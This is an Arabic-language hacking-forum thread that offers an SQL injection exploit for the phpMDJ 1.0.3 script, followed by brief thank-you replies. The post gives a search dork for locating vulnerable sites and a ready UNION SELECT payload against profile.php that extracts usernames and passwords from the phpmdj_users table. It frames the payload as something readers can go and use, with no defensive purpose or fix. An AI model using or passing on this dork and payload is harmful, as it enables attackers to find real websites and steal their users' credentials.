:: vBspiders Professional Network :: - ثغرة في سكريبت phpMDJ 1.0.3

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات (http://www.vbspiders.com/vb/forumdisplay.php?f=38)

- - ثغرة في سكريبت phpMDJ 1.0.3 (http://www.vbspiders.com/vb/showthread.php?t=23619)

ثغرة في سكريبت phpMDJ 1.0.3

[align=center]السلام عليكم ورحمة الله وبركاته

جبت لكم اليوم ثغرة في سكريبت phpMDJ 1.0.3

الثغرة من نوع SQL INJECTION

الذي يعشقها الكثير

نبدأ

دورك البحث عن المواقع المصابة

كود PHP:


		
			
DORK: Inurl:"profile.php?id

طريقة الإستغلال

كود PHP:


		
			
tp://site/path/profile.php?id=-1 union select 1,2,3,mdp,5,6,pseudo,8,9,10,11,12,13,14,15,16 FROM phpmdj_users where id=1--

الثغرة من إكتشاف k4cp3r and Ablus

إن شاء الله تستفيدوا

موفقين بإذن الله ...[/align]

شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية .

اشكرك يا معلم

وااصل ولا تحرمنا من جديدك

مشكوووووور

وما قصرت